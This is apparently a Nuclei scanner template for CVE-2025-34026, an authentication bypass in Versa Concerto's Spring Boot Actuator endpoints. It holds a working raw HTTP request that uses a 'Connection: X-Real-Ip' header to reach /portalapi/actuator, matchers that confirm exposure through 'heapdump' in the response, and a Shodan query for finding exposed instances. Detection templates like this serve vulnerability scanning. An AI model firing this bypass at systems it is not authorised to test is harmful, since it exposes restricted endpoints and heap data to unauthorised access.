Versa Concerto Actuator Endpoint - Authentication Bypass

id: CVE-2025-34026

info:
  name: Versa Concerto Actuator Endpoint - Authentication Bypass
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.
  reference:
    - https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce/
    - https://security-portal.versa-networks.com/emailbulletins/6830f94328defa375486ff2e
    - https://www.cve.org/CVERecord?id=CVE-2025-34026
  classification:
    epss-score: 0.06397
    cpe: cpe:2.3:a:versa-networks:concerto:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: versa-networks
    product: concerto
    max-request: 1
    shodan-query: http.favicon.hash:-534530225
  tags: versa,concerto,actuator,auth-bypass,springboot,cve,cve2025

http:
  - raw:
      - |
        GET /portalapi/actuator HTTP/1.1
        Host: {{Hostname}}
        Connection: X-Real-Ip

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - heapdump

      - type: word
        part: header
        words:
          - EECP-CSRF-TOKEN
# digest: 490a00463044022100c1b63120b9b9db828d45c2544d84b5c2bf9b970cddf70e30f38ee447711d2cbb021f2741bc0bc1363db9656b797537b0ee0617c1f34798a613f7db560d6dcaac4d:922c64590222798bb761d5b6d8e72950